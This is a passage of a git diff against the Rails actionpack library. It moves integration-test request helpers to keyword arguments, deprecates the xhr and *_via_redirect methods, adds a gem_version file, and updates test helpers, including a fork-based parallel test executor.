-      #   assert_tag tag: "span", attributes: { id: "x" }
-      #
-      #   # Assert that there is a "span" tag using the short-hand
-      #   assert_tag :span
-      #
-      #   # Assert that there is a "span" tag with id="x" using the short-hand
-      #   assert_tag :span, attributes: { id: "x" }
-      #
-      #   # Assert that there is a "span" inside of a "div"
-      #   assert_tag tag: "span", parent: { tag: "div" }
-      #
-      #   # Assert that there is a "span" somewhere inside a table
-      #   assert_tag tag: "span", ancestor: { tag: "table" }
-      #
-      #   # Assert that there is a "span" with at least one "em" child
-      #   assert_tag tag: "span", child: { tag: "em" }
-      #
-      #   # Assert that there is a "span" containing a (possibly nested)
-      #   # "strong" tag.
-      #   assert_tag tag: "span", descendant: { tag: "strong" }
-      #
-      #   # Assert that there is a "span" containing between 2 and 4 "em" tags
-      #   # as immediate children
-      #   assert_tag tag: "span",
-      #              children: { count: 2..4, only: { tag: "em" } }
-      #
-      #   # Get funky: assert that there is a "div", with an "ul" ancestor
-      #   # and an "li" parent (with "class" = "enum"), and containing a
-      #   # "span" descendant that contains text matching /hello world/
-      #   assert_tag tag: "div",
-      #              ancestor: { tag: "ul" },
-      #              parent: { tag: "li",
-      #                           attributes: { class: "enum" } },
-      #              descendant: { tag: "span",
-      #                               child: /hello world/ }
-      #
-      # <b>Please note</b>: +assert_tag+ and +assert_no_tag+ only work
-      # with well-formed XHTML. They recognize a few tags as implicitly self-closing
-      # (like br and hr and such) but will not work correctly with tags
-      # that allow optional closing tags (p, li, td). <em>You must explicitly
-      # close all of your tags to use these assertions.</em>
-      def assert_tag(*opts)
-        opts = opts.size > 1 ? opts.last.merge({ :tag => opts.first.to_s }) : opts.first
-        tag = find_tag(opts)
-        assert tag, "expected tag, but no tag found matching #{opts.inspect} in:\n#{@response.body.inspect}"
-      end
-
-      # Identical to +assert_tag+, but asserts that a matching tag does _not_
-      # exist. (See +assert_tag+ for a full discussion of the syntax.)
-      #
-      #   # Assert that there is not a "div" containing a "p"
-      #   assert_no_tag tag: "div", descendant: { tag: "p" }
-      #
-      #   # Assert that an unordered list is empty
-      #   assert_no_tag tag: "ul", descendant: { tag: "li" }
-      #
-      #   # Assert that there is not a "p" tag with between 1 to 3 "img" tags
-      #   # as immediate children
-      #   assert_no_tag tag: "p",
-      #              children: { count: 1..3, only: { tag: "img" } }
-      def assert_no_tag(*opts)
-        opts = opts.size > 1 ? opts.last.merge({ :tag => opts.first.to_s }) : opts.first
-        tag = find_tag(opts)
-        assert !tag, "expected no tag, but found tag matching #{opts.inspect} in:\n#{@response.body.inspect}"
-      end
-
-      def find_tag(conditions)
-        html_document.find(conditions)
-      end
-
-      def find_all_tag(conditions)
-        html_document.find_all(conditions)
-      end
-
-      def html_document
-        xml = @response.content_type =~ /xml$/
-        @html_document ||= HTML::Document.new(@response.body, false, xml)
-      end
-    end
-  end
-end
diff --git a/actionpack/lib/action_dispatch/testing/integration.rb b/actionpack/lib/action_dispatch/testing/integration.rb
index 9beb30307b..876a980ff1 100644
--- a/actionpack/lib/action_dispatch/testing/integration.rb
+++ b/actionpack/lib/action_dispatch/testing/integration.rb
@@ -12,12 +12,14 @@ module ActionDispatch
       #
       # - +path+: The URI (as a String) on which you want to perform a GET
       #   request.
-      # - +parameters+: The HTTP parameters that you want to pass. This may
+      # - +params+: The HTTP parameters that you want to pass. This may
       #   be +nil+,
       #   a Hash, or a String that is appropriately encoded
       #   (<tt>application/x-www-form-urlencoded</tt> or
       #   <tt>multipart/form-data</tt>).
-      # - +headers_or_env+: Additional headers to pass, as a Hash. The headers will be
+      # - +headers+: Additional headers to pass, as a Hash. The headers will be
+      #   merged into the Rack env hash.
+      # - +env+: Additional env to pass, as a Hash. The headers will be
       #   merged into the Rack env hash.
       #
       # This method returns a Response object, which one can use to
@@ -28,38 +30,43 @@ module ActionDispatch
       #
       # You can also perform POST, PATCH, PUT, DELETE, and HEAD requests with
       # +#post+, +#patch+, +#put+, +#delete+, and +#head+.
-      def get(path, parameters = nil, headers_or_env = nil)
-        process :get, path, parameters, headers_or_env
+      #
+      # Example:
+      #
+      #   get '/feed', params: { since: 201501011400 }
+      #   post '/profile', headers: { "X-Test-Header" => "testvalue" }
+      def get(path, *args)
+        process_with_kwargs(:get, path, *args)
       end
 
       # Performs a POST request with the given parameters. See +#get+ for more
       # details.
-      def post(path, parameters = nil, headers_or_env = nil)
-        process :post, path, parameters, headers_or_env
+      def post(path, *args)
+        process_with_kwargs(:post, path, *args)
       end
 
       # Performs a PATCH request with the given parameters. See +#get+ for more
       # details.
-      def patch(path, parameters = nil, headers_or_env = nil)
-        process :patch, path, parameters, headers_or_env
+      def patch(path, *args)
+        process_with_kwargs(:patch, path, *args)
       end
 
       # Performs a PUT request with the given parameters. See +#get+ for more
       # details.
-      def put(path, parameters = nil, headers_or_env = nil)
-        process :put, path, parameters, headers_or_env
+      def put(path, *args)
+        process_with_kwargs(:put, path, *args)
       end
 
       # Performs a DELETE request with the given parameters. See +#get+ for
       # more details.
-      def delete(path, parameters = nil, headers_or_env = nil)
-        process :delete, path, parameters, headers_or_env
+      def delete(path, *args)
+        process_with_kwargs(:delete, path, *args)
       end
 
       # Performs a HEAD request with the given parameters. See +#get+ for more
       # details.
-      def head(path, parameters = nil, headers_or_env = nil)
-        process :head, path, parameters, headers_or_env
+      def head(path, *args)
+        process_with_kwargs(:head, path, *args)
       end
 
       # Performs an XMLHttpRequest request with the given parameters, mirroring
@@ -68,11 +75,29 @@ module ActionDispatch
       # The request_method is +:get+, +:post+, +:patch+, +:put+, +:delete+ or
       # +:head+; the parameters are +nil+, a hash, or a url-encoded or multipart
       # string; the headers are a hash.
-      def xml_http_request(request_method, path, parameters = nil, headers_or_env = nil)
-        headers_or_env ||= {}
-        headers_or_env['HTTP_X_REQUESTED_WITH'] = 'XMLHttpRequest'
-        headers_or_env['HTTP_ACCEPT'] ||= [Mime::JS, Mime::HTML, Mime::XML, 'text/xml', Mime::ALL].join(', ')
-        process(request_method, path, parameters, headers_or_env)
+      #
+      # Example:
+      #
+      #   xhr :get, '/feed', params: { since: 201501011400 }
+      def xml_http_request(request_method, path, *args)
+        if kwarg_request?(*args)
+          params, headers, env = args.first.values_at(:params, :headers, :env)
+        else
+          params = args[0]
+          headers = args[1]
+          env = {}
+
+          if params.present? || headers.present?
+            non_kwarg_request_warning
+          end
+        end
+
+        ActiveSupport::Deprecation.warn(<<-MSG.strip_heredoc)
+          xhr and xml_http_request methods are deprecated in favor of
+          `get "/posts", xhr: true` and `post "/posts/1", xhr: true`
+        MSG
+
+        process(request_method, path, params: params, headers: headers, xhr: true)
       end
       alias xhr :xml_http_request
 
@@ -89,40 +114,52 @@ module ActionDispatch
       # redirect. Note that the redirects are followed until the response is
       # not a redirect--this means you may run into an infinite loop if your
       # redirect loops back to itself.
-      def request_via_redirect(http_method, path, parameters = nil, headers_or_env = nil)
-        process(http_method, path, parameters, headers_or_env)
+      #
+      # Example:
+      #
+      #   request_via_redirect :post, '/welcome',
+      #     params: { ref_id: 14 },
+      #     headers: { "X-Test-Header" => "testvalue" }
+      def request_via_redirect(http_method, path, *args)
+        process_with_kwargs(http_method, path, *args)
+
         follow_redirect! while redirect?
         status
       end
 
       # Performs a GET request, following any subsequent redirect.
       # See +request_via_redirect+ for more information.
-      def get_via_redirect(path, parameters = nil, headers_or_env = nil)
-        request_via_redirect(:get, path, parameters, headers_or_env)
+      def get_via_redirect(path, *args)
+        ActiveSupport::Deprecation.warn('`get_via_redirect` is deprecated and will be removed in the next version of Rails. Please use follow_redirect! manually after the request call for the same behavior.')
+        request_via_redirect(:get, path, *args)
       end
 
       # Performs a POST request, following any subsequent redirect.
       # See +request_via_redirect+ for more information.
-      def post_via_redirect(path, parameters = nil, headers_or_env = nil)
-        request_via_redirect(:post, path, parameters, headers_or_env)
+      def post_via_redirect(path, *args)
+        ActiveSupport::Deprecation.warn('`post_via_redirect` is deprecated and will be removed in the next version of Rails. Please use follow_redirect! manually after the request call for the same behavior.')
+        request_via_redirect(:post, path, *args)
       end
 
       # Performs a PATCH request, following any subsequent redirect.
       # See +request_via_redirect+ for more information.
-      def patch_via_redirect(path, parameters = nil, headers_or_env = nil)
-        request_via_redirect(:patch, path, parameters, headers_or_env)
+      def patch_via_redirect(path, *args)
+        ActiveSupport::Deprecation.warn('`patch_via_redirect` is deprecated and will be removed in the next version of Rails. Please use follow_redirect! manually after the request call for the same behavior.')
+        request_via_redirect(:patch, path, *args)
       end
 
       # Performs a PUT request, following any subsequent redirect.
       # See +request_via_redirect+ for more information.
-      def put_via_redirect(path, parameters = nil, headers_or_env = nil)
-        request_via_redirect(:put, path, parameters, headers_or_env)
+      def put_via_redirect(path, *args)
+        ActiveSupport::Deprecation.warn('`put_via_redirect` is deprecated and will be removed in the next version of Rails. Please use follow_redirect! manually after the request call for the same behavior.')
+        request_via_redirect(:put, path, *args)
       end
 
       # Performs a DELETE request, following any subsequent redirect.
       # See +request_via_redirect+ for more information.
-      def delete_via_redirect(path, parameters = nil, headers_or_env = nil)
-        request_via_redirect(:delete, path, parameters, headers_or_env)
+      def delete_via_redirect(path, *args)
+        ActiveSupport::Deprecation.warn('`delete_via_redirect` is deprecated and will be removed in the next version of Rails. Please use follow_redirect! manually after the request call for the same behavior.')
+        request_via_redirect(:delete, path, *args)
       end
     end
 
@@ -137,7 +174,7 @@ module ActionDispatch
     class Session
       DEFAULT_HOST = "www.example.com"
 
-      include MiniTest::Assertions
+      include Minitest::Assertions
       include TestProcess, RequestHelpers, Assertions
 
       %w( status status_message headers body redirect? ).each do |method|
@@ -189,8 +226,8 @@ module ActionDispatch
         # This makes app.url_for and app.foo_path available in the console
         if app.respond_to?(:routes)
           singleton_class.class_eval do
-            include app.routes.url_helpers if app.routes.respond_to?(:url_helpers)
-            include app.routes.mounted_helpers if app.routes.respond_to?(:mounted_helpers)
+            include app.routes.url_helpers
+            include app.routes.mounted_helpers
           end
         end
 
@@ -201,7 +238,7 @@ module ActionDispatch
         @url_options ||= default_url_options.dup.tap do |url_options|
           url_options.reverse_merge!(controller.url_options) if controller
 
-          if @app.respond_to?(:routes) && @app.routes.respond_to?(:default_url_options)
+          if @app.respond_to?(:routes)
             url_options.reverse_merge!(@app.routes.default_url_options)
           end
 
@@ -242,7 +279,7 @@ module ActionDispatch
         @https = flag
       end
 
-      # Return +true+ if the session is mimicking a secure HTTPS request.
+      # Returns +true+ if the session is mimicking a secure HTTPS request.
       #
       #   if session.https?
       #     ...
@@ -261,8 +298,39 @@ module ActionDispatch
           @_mock_session ||= Rack::MockSession.new(@app, host)
         end
 
+        def process_with_kwargs(http_method, path, *args)
+          if kwarg_request?(*args)
+            process(http_method, path, *args)
+          else
+            non_kwarg_request_warning if args.present?
+            process(http_method, path, { params: args[0], headers: args[1] })
+          end
+        end
+
+        REQUEST_KWARGS = %i(params headers env xhr)
+        def kwarg_request?(*args)
+          args[0].respond_to?(:keys) && args[0].keys.any? { |k| REQUEST_KWARGS.include?(k) }
+        end
+
+        def non_kwarg_request_warning
+          ActiveSupport::Deprecation.warn(<<-MSG.strip_heredoc)
+            ActionDispatch::Integration::TestCase HTTP request methods will accept only
+            keyword arguments in future Rails versions.
+
+            Examples:
+
+            get '/profile',
+              params: { id: 1 },
+              headers: { 'X-Extra-Header' => '123' },
+              env: { 'action_dispatch.custom' => 'custom' }
+
+            xhr :post, '/profile',
+              params: { id: 1 }
+          MSG
+        end
+
         # Performs the actual request.
-        def process(method, path, parameters = nil, headers_or_env = nil)
+        def process(method, path, params: nil, headers: nil, env: nil, xhr: false)
           if path =~ %r{://}
             location = URI.parse(path)
             https! URI::HTTPS === location if location.scheme
@@ -270,17 +338,11 @@ module ActionDispatch
             path = location.query ? "#{location.path}?#{location.query}" : location.path
           end
 
-          unless ActionController::Base < ActionController::Testing
-            ActionController::Base.class_eval do
-              include ActionController::Testing
-            end
-          end
-
           hostname, port = host.split(':')
 
-          env = {
+          request_env = {
             :method => method,
-            :params => parameters,
+            :params => params,
 
             "SERVER_NAME"     => hostname,
             "SERVER_PORT"     => port || (https? ? "443" : "80"),
@@ -293,20 +355,26 @@ module ActionDispatch
             "CONTENT_TYPE"   => "application/x-www-form-urlencoded",
             "HTTP_ACCEPT"    => accept
           }
-          # this modifies the passed env directly
-          Http::Headers.new(env).merge!(headers_or_env || {})
+
+          if xhr
+            headers ||= {}
+            headers['HTTP_X_REQUESTED_WITH'] = 'XMLHttpRequest'
+            headers['HTTP_ACCEPT'] ||= [Mime::JS, Mime::HTML, Mime::XML, 'text/xml', Mime::ALL].join(', ')
+          end
+
+          # this modifies the passed request_env directly
+          if headers.present?
+            Http::Headers.new(request_env).merge!(headers)
+          end
+          if env.present?
+            Http::Headers.new(request_env).merge!(env)
+          end
 
           session = Rack::Test::Session.new(_mock_session)
 
           # NOTE: rack-test v0.5 doesn't build a default uri correctly
           # Make sure requested path is always a full uri
-          uri = URI.parse('/')
-          uri.scheme ||= env['rack.url_scheme']
-          uri.host   ||= env['SERVER_NAME']
-          uri.port   ||= env['SERVER_PORT'].try(:to_i)
-          uri += path
-
-          session.request(uri.to_s, env)
+          session.request(build_full_uri(path, request_env), request_env)
 
           @request_count += 1
           @request  = ActionDispatch::Request.new(session.last_request.env)
@@ -317,7 +385,11 @@ module ActionDispatch
 
           @controller = session.last_request.env['action_controller.instance']
 
-          return response.status
+          response.status
+        end
+
+        def build_full_uri(path, env)
+          "#{env['rack.url_scheme']}://#{env['SERVER_NAME']}:#{env['SERVER_PORT']}#{path}"
         end
     end
 
@@ -334,12 +406,21 @@ module ActionDispatch
         @integration_session = Integration::Session.new(app)
       end
 
+      def remove! # :nodoc:
+        @integration_session = nil
+      end
+
       %w(get post patch put head delete cookies assigns
          xml_http_request xhr get_via_redirect post_via_redirect).each do |method|
         define_method(method) do |*args|
           reset! unless integration_session
-          # reset the html_document variable, but only for new get/post calls
-          @html_document = nil unless method == 'cookies' || method == 'assigns'
+
+          # reset the html_document variable, except for cookies/assigns calls
+          unless method == 'cookies' || method == 'assigns'
+            @html_document = nil
+            reset_template_assertion
+          end
+
           integration_session.__send__(method, *args).tap do
             copy_session_variables!
           end
@@ -356,7 +437,7 @@ module ActionDispatch
       # By default, a single session is automatically created for you, but you
       # can use this method to open multiple sessions that ought to be tested
       # simultaneously.
-      def open_session(app = nil)
+      def open_session
         dup.tap do |session|
           yield session if block_given?
         end
@@ -479,6 +560,84 @@ module ActionDispatch
   #         end
   #       end
   #   end
+  #
+  # Another longer example would be:
+  #
+  # A simple integration test that exercises multiple controllers:
+  #
+  #   require 'test_helper'
+  #
+  #   class UserFlowsTest < ActionDispatch::IntegrationTest
+  #     test "login and browse site" do
+  #       # login via https
+  #       https!
+  #       get "/login"
+  #       assert_response :success
+  #
+  #       post_via_redirect "/login", username: users(:david).username, password: users(:david).password
+  #       assert_equal '/welcome', path
+  #       assert_equal 'Welcome david!', flash[:notice]
+  #
+  #       https!(false)
+  #       get "/articles/all"
+  #       assert_response :success
+  #       assert assigns(:articles)
+  #     end
+  #   end
+  #
+  # As you can see the integration test involves multiple controllers and
+  # exercises the entire stack from database to dispatcher. In addition you can
+  # have multiple session instances open simultaneously in a test and extend
+  # those instances with assertion methods to create a very powerful testing
+  # DSL (domain-specific language) just for your application.
+  #
+  # Here's an example of multiple sessions and custom DSL in an integration test
+  #
+  #   require 'test_helper'
+  #
+  #   class UserFlowsTest < ActionDispatch::IntegrationTest
+  #     test "login and browse site" do
+  #       # User david logs in
+  #       david = login(:david)
+  #       # User guest logs in
+  #       guest = login(:guest)
+  #
+  #       # Both are now available in different sessions
+  #       assert_equal 'Welcome david!', david.flash[:notice]
+  #       assert_equal 'Welcome guest!', guest.flash[:notice]
+  #
+  #       # User david can browse site
+  #       david.browses_site
+  #       # User guest can browse site as well
+  #       guest.browses_site
+  #
+  #       # Continue with other assertions
+  #     end
+  #
+  #     private
+  #
+  #       module CustomDsl
+  #         def browses_site
+  #           get "/products/all"
+  #           assert_response :success
+  #           assert assigns(:products)
+  #         end
+  #       end
+  #
+  #       def login(user)
+  #         open_session do |sess|
+  #           sess.extend(CustomDsl)
+  #           u = users(user)
+  #           sess.https!
+  #           sess.post "/login", username: u.username, password: u.password
+  #           assert_equal '/welcome', sess.path
+  #           sess.https!(false)
+  #         end
+  #       end
+  #   end
+  #
+  # Consult the Rails Testing Guide for more.
+
   class IntegrationTest < ActiveSupport::TestCase
     include Integration::Runner
     include ActionController::TemplateAssertions
@@ -502,5 +661,9 @@ module ActionDispatch
       reset! unless integration_session
       integration_session.url_options
     end
+
+    def document_root_element
+      html_document.root
+    end
   end
 end
diff --git a/actionpack/lib/action_dispatch/testing/test_request.rb b/actionpack/lib/action_dispatch/testing/test_request.rb
index 57c678843b..4b9a088265 100644
--- a/actionpack/lib/action_dispatch/testing/test_request.rb
+++ b/actionpack/lib/action_dispatch/testing/test_request.rb
@@ -39,7 +39,7 @@ module ActionDispatch
     end
 
     def action=(action_name)
-      path_parameters["action"] = action_name.to_s
+      path_parameters[:action] = action_name.to_s
     end
 
     def if_modified_since=(last_modified)
@@ -60,7 +60,7 @@ module ActionDispatch
 
     def accept=(mime_types)
       @env.delete('action_dispatch.request.accepts')
-      @env['HTTP_ACCEPT'] = Array(mime_types).collect { |mime_type| mime_type.to_s }.join(",")
+      @env['HTTP_ACCEPT'] = Array(mime_types).collect(&:to_s).join(",")
     end
 
     alias :rack_cookies :cookies
diff --git a/actionpack/lib/action_dispatch/testing/test_response.rb b/actionpack/lib/action_dispatch/testing/test_response.rb
index 82039e72e7..369ea1467c 100644
--- a/actionpack/lib/action_dispatch/testing/test_response.rb
+++ b/actionpack/lib/action_dispatch/testing/test_response.rb
@@ -25,5 +25,12 @@ module ActionDispatch
 
     # Was there a server-side error?
     alias_method :error?, :server_error?
+
+    def merge_default_headers(original, *args)
+      # Default headers are already applied, no need to merge them a second time.
+      # This makes sure that default headers, removed in controller actions, will
+      # not be reapplied to the test response.
+      original
+    end
   end
 end
diff --git a/actionpack/lib/action_pack.rb b/actionpack/lib/action_pack.rb
index ad5acd8080..f664dab620 100644
--- a/actionpack/lib/action_pack.rb
+++ b/actionpack/lib/action_pack.rb
@@ -1,5 +1,5 @@
 #--
-# Copyright (c) 2004-2013 David Heinemeier Hansson
+# Copyright (c) 2004-2015 David Heinemeier Hansson
 #
 # Permission is hereby granted, free of charge, to any person obtaining
 # a copy of this software and associated documentation files (the
diff --git a/actionpack/lib/action_pack/gem_version.rb b/actionpack/lib/action_pack/gem_version.rb
new file mode 100644
index 0000000000..255ac9f4ed
--- /dev/null
+++ b/actionpack/lib/action_pack/gem_version.rb
@@ -0,0 +1,15 @@
+module ActionPack
+  # Returns the version of the currently loaded Action Pack as a <tt>Gem::Version</tt>
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+
+  module VERSION
+    MAJOR = 5
+    MINOR = 0
+    TINY  = 0
+    PRE   = "alpha"
+
+    STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+  end
+end
diff --git a/actionpack/lib/action_pack/version.rb b/actionpack/lib/action_pack/version.rb
index fd08f392aa..7088cd2760 100644
--- a/actionpack/lib/action_pack/version.rb
+++ b/actionpack/lib/action_pack/version.rb
@@ -1,11 +1,8 @@
+require_relative 'gem_version'
+
 module ActionPack
-  # Returns the version of the currently loaded ActionPack as a Gem::Version
+  # Returns the version of the currently loaded ActionPack as a <tt>Gem::Version</tt>
   def self.version
-    Gem::Version.new "4.1.0.beta"
-  end
-
-  module VERSION #:nodoc:
-    MAJOR, MINOR, TINY, PRE = ActionPack.version.segments
-    STRING = ActionPack.version.to_s
+    gem_version
   end
 end
diff --git a/actionpack/test/abstract/callbacks_test.rb b/actionpack/test/abstract/callbacks_test.rb
index 8cba049485..07571602e4 100644
--- a/actionpack/test/abstract/callbacks_test.rb
+++ b/actionpack/test/abstract/callbacks_test.rb
@@ -267,9 +267,11 @@ module AbstractController
     end
 
     class AliasedCallbacks < ControllerWithCallbacks
-      before_filter :first
-      after_filter :second
-      around_filter :aroundz
+      ActiveSupport::Deprecation.silence do
+        before_filter :first
+        after_filter :second
+        around_filter :aroundz
+      end
 
       def first
         @text = "Hello world"
diff --git a/actionpack/test/abstract/collector_test.rb b/actionpack/test/abstract/collector_test.rb
index 5709ad0378..fc59bf19c4 100644
--- a/actionpack/test/abstract/collector_test.rb
+++ b/actionpack/test/abstract/collector_test.rb
@@ -24,20 +24,26 @@ module AbstractController
 
       test "does not respond to unknown mime types" do
         collector = MyCollector.new
-        assert !collector.respond_to?(:unknown)
+        assert_not_respond_to collector, :unknown
       end
 
       test "register mime types on method missing" do
         AbstractController::Collector.send(:remove_method, :js)
-        collector = MyCollector.new
-        assert !collector.respond_to?(:js)
-        collector.js
-        assert_respond_to collector, :js
+        begin
+          collector = MyCollector.new
+          assert_not_respond_to collector, :js
+          collector.js
+          assert_respond_to collector, :js
+        ensure
+          unless AbstractController::Collector.method_defined? :js
+            AbstractController::Collector.generate_method_for_mime :js
+          end
+        end
       end
 
       test "does not register unknown mime types" do
         collector = MyCollector.new
-        assert_raise NameError do
+        assert_raise NoMethodError do
           collector.unknown
         end
       end
diff --git a/actionpack/test/abstract_unit.rb b/actionpack/test/abstract_unit.rb
index a0d90f7eee..2d69ceed3a 100644
--- a/actionpack/test/abstract_unit.rb
+++ b/actionpack/test/abstract_unit.rb
@@ -4,8 +4,6 @@ $:.unshift(File.dirname(__FILE__) + '/lib')
 $:.unshift(File.dirname(__FILE__) + '/fixtures/helpers')
 $:.unshift(File.dirname(__FILE__) + '/fixtures/alternate_helpers')
 
-ENV['TMPDIR'] = File.join(File.dirname(__FILE__), 'tmp')
-
 require 'active_support/core_ext/kernel/reporting'
 
 # These are the normal settings that will be set up by Railties
@@ -15,8 +13,15 @@ silence_warnings do
   Encoding.default_external = "UTF-8"
 end
 
+require 'drb'
+require 'drb/unix'
+require 'tempfile'
+
+PROCESS_COUNT = (ENV['N'] || 4).to_i
+
 require 'active_support/testing/autorun'
 require 'abstract_controller'
+require 'abstract_controller/railties/routes_helpers'
 require 'action_controller'
 require 'action_view'
 require 'action_view/testing/resolvers'
@@ -43,10 +48,13 @@ Thread.abort_on_exception = true
 # Show backtraces for deprecated behavior for quicker cleanup.
 ActiveSupport::Deprecation.debug = true
 
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
 # Register danish language for testing
 I18n.backend.store_translations 'da', {}
 I18n.backend.store_translations 'pt-BR', {}
-ORIGINAL_LOCALES = I18n.available_locales.map {|locale| locale.to_s }.sort
+ORIGINAL_LOCALES = I18n.available_locales.map(&:to_s).sort
 
 FIXTURE_LOAD_PATH = File.join(File.dirname(__FILE__), 'fixtures')
 FIXTURES = Pathname.new(FIXTURE_LOAD_PATH)
@@ -102,6 +110,9 @@ end
 module ActiveSupport
   class TestCase
     include ActionDispatch::DrawOnce
+    if ActiveSupport::Testing::Isolation.forking_env? && PROCESS_COUNT > 0
+      parallelize_me!
+    end
   end
 end
 
@@ -184,6 +195,7 @@ class ActionDispatch::IntegrationTest < ActiveSupport::TestCase
     yield temporary_routes
   ensure
     self.class.app = old_app
+    self.remove!
     silence_warnings { Object.const_set(:SharedTestRoutes, old_routes) }
   end
 
@@ -246,13 +258,10 @@ class Rack::TestCase < ActionDispatch::IntegrationTest
   end
 end
 
-ActionController::Base.superclass.send(:include, ActionView::Layouts)
-
 module ActionController
   class Base
-    include ActionController::Testing
     # This stub emulates the Railtie including the URL helpers from a Rails application
-    include SharedTestRoutes.url_helpers
+    extend AbstractController::Railties::RoutesHelpers.with(SharedTestRoutes)
     include SharedTestRoutes.mounted_helpers
 
     self.view_paths = FIXTURE_LOAD_PATH
@@ -305,22 +314,95 @@ end
 
 module ActionDispatch
   module RoutingVerbs
-    def get(uri_or_host, path = nil)
+    def send_request(uri_or_host, method, path)
       host = uri_or_host.host unless path
       path ||= uri_or_host.path
 
       params = {'PATH_INFO'      => path,
-                'REQUEST_METHOD' => 'GET',
+                'REQUEST_METHOD' => method,
                 'HTTP_HOST'      => host}
 
-      routes.call(params)[2].join
+      routes.call(params)
+    end
+
+    def request_path_params(path, options = {})
+      method = options[:method] || 'GET'
+      resp = send_request URI('http://localhost' + path), method.to_s.upcase, nil
+      status = resp.first
+      if status == 404
+        raise ActionController::RoutingError, "No route matches #{path.inspect}"
+      end
+      controller.request.path_parameters
+    end
+
+    def get(uri_or_host, path = nil)
+      send_request(uri_or_host, 'GET', path)[2].join
+    end
+
+    def post(uri_or_host, path = nil)
+      send_request(uri_or_host, 'POST', path)[2].join
+    end
+
+    def put(uri_or_host, path = nil)
+      send_request(uri_or_host, 'PUT', path)[2].join
+    end
+
+    def delete(uri_or_host, path = nil)
+      send_request(uri_or_host, 'DELETE', path)[2].join
+    end
+
+    def patch(uri_or_host, path = nil)
+      send_request(uri_or_host, 'PATCH', path)[2].join
     end
   end
 end
 
 module RoutingTestHelpers
-  def url_for(set, options, recall = nil)
-    set.send(:url_for, options.merge(:only_path => true, :_recall => recall))
+  def url_for(set, options)
+    route_name = options.delete :use_route
+    set.url_for options.merge(:only_path => true), route_name
+  end
+
+  def make_set(strict = true)
+    tc = self
+    TestSet.new ->(c) { tc.controller = c }, strict
+  end
+
+  class TestSet < ActionDispatch::Routing::RouteSet
+    attr_reader :strict
+
+    def initialize(block, strict = false)
+      @block = block
+      @strict = strict
+      super()
+    end
+
+    class Dispatcher < ActionDispatch::Routing::RouteSet::Dispatcher
+      def initialize(defaults, set, block)
+        super(defaults)
+        @block = block
+        @set = set
+      end
+
+      def controller(params, default_controller=true)
+        super(params, @set.strict)
+      end
+
+      def controller_reference(controller_param)
+        block = @block
+        set = @set
+        super if @set.strict
+        Class.new(ActionController::Base) {
+          include set.url_helpers
+          define_method(:process) { |name| block.call(self) }
+          def to_a; [200, {}, []]; end
+        }
+      end
+    end
+
+    def dispatcher defaults
+      TestSet::Dispatcher.new defaults, self, @block
+    end
   end
 end
 
@@ -333,7 +415,6 @@ class ThreadsController  < ResourcesController; end
 class MessagesController < ResourcesController; end
 class CommentsController < ResourcesController; end
 class ReviewsController < ResourcesController; end
-class AuthorsController < ResourcesController; end
 class LogosController < ResourcesController; end
 
 class AccountsController <  ResourcesController; end
@@ -344,8 +425,6 @@ class PreferencesController < ResourcesController; end
 
 module Backoffice
   class ProductsController < ResourcesController; end
-  class TagsController < ResourcesController; end
-  class ManufacturersController < ResourcesController; end
   class ImagesController < ResourcesController; end
 
   module Admin
@@ -353,3 +432,90 @@ module Backoffice
     class ImagesController < ResourcesController; end
   end
 end
+
+# Skips the current run on Rubinius using Minitest::Assertions#skip
+def rubinius_skip(message = '')
+  skip message if RUBY_ENGINE == 'rbx'
+end
+# Skips the current run on JRuby using Minitest::Assertions#skip
+def jruby_skip(message = '')
+  skip message if defined?(JRUBY_VERSION)
+end
+
+require 'mocha/setup' # FIXME: stop using mocha
+
+class ForkingExecutor
+  class Server
+    include DRb::DRbUndumped
+
+    def initialize
+      @queue = Queue.new
+    end
+
+    def record reporter, result
+      reporter.record result
+    end
+
+    def << o
+      o[2] = DRbObject.new(o[2]) if o
+      @queue << o
+    end
+    def pop; @queue.pop; end
+  end
+
+  def initialize size
+    @size  = size
+    @queue = Server.new
+    file   = File.join Dir.tmpdir, Dir::Tmpname.make_tmpname('rails-tests', 'fd')
+    @url   = "drbunix://#{file}"
+    @pool  = nil
+    DRb.start_service @url, @queue
+  end
+
+  def << work; @queue << work; end
+
+  def shutdown
+    pool = @size.times.map {
+      fork {
+        DRb.stop_service
+        queue = DRbObject.new_with_uri @url
+        while job = queue.pop
+          klass    = job[0]
+          method   = job[1]
+          reporter = job[2]
+          result = Minitest.run_one_method klass, method
+          if result.error?
+            translate_exceptions result
+          end
+          queue.record reporter, result
+        end
+      }
+    }
+    @size.times { @queue << nil }
+    pool.each { |pid| Process.waitpid pid }
+  end
+
+  private
+  def translate_exceptions(result)
+    result.failures.map! { |e|
+      begin
+        Marshal.dump e
+        e
+      rescue TypeError
+        ex = Exception.new e.message
+        ex.set_backtrace e.backtrace
+        Minitest::UnexpectedError.new ex
+      end
+    }
+  end
+end
+
+if ActiveSupport::Testing::Isolation.forking_env? && PROCESS_COUNT > 0
+  # Use N processes (N defaults to 4)
+  Minitest.parallel_executor = ForkingExecutor.new(PROCESS_COUNT)
+end
+
+# FIXME: we have tests that depend on run order, we should fix that and
+# remove this method call.
+require 'active_support/test_case'
+ActiveSupport::TestCase.test_order = :sorted
diff --git a/actionpack/test/assertions/response_assertions_test.rb b/actionpack/test/assertions/response_assertions_test.rb
index ca1d58765d..5e64cae7e2 100644
--- a/actionpack/test/assertions/response_assertions_test.rb
+++ b/actionpack/test/assertions/response_assertions_test.rb
@@ -19,7 +19,7 @@ module ActionDispatch
           @response = FakeResponse.new sym
           assert_response sym
 
-          assert_raises(MiniTest::Assertion) {
+          assert_raises(Minitest::Assertion) {
             assert_response :unauthorized
           }
         end
@@ -29,11 +29,11 @@ module ActionDispatch
         @response = FakeResponse.new 400
         assert_response 400
 
-        assert_raises(MiniTest::Assertion) {
+        assert_raises(Minitest::Assertion) {
           assert_response :unauthorized
         }
 
-        assert_raises(MiniTest::Assertion) {
+        assert_raises(Minitest::Assertion) {
           assert_response 500
         }
       end
@@ -42,14 +42,22 @@ module ActionDispatch
         @response = FakeResponse.new 401
         assert_response :unauthorized
 
-        assert_raises(MiniTest::Assertion) {
+        assert_raises(Minitest::Assertion) {
           assert_response :ok
         }
 
-        assert_raises(MiniTest::Assertion) {
+        assert_raises(Minitest::Assertion) {
           assert_response :success
         }
       end
+
+      def test_assert_response_sym_typo
+        @response = FakeResponse.new 200
+
+        assert_raises(ArgumentError) {
+          assert_response :succezz
+        }
+      end
     end
   end
 end
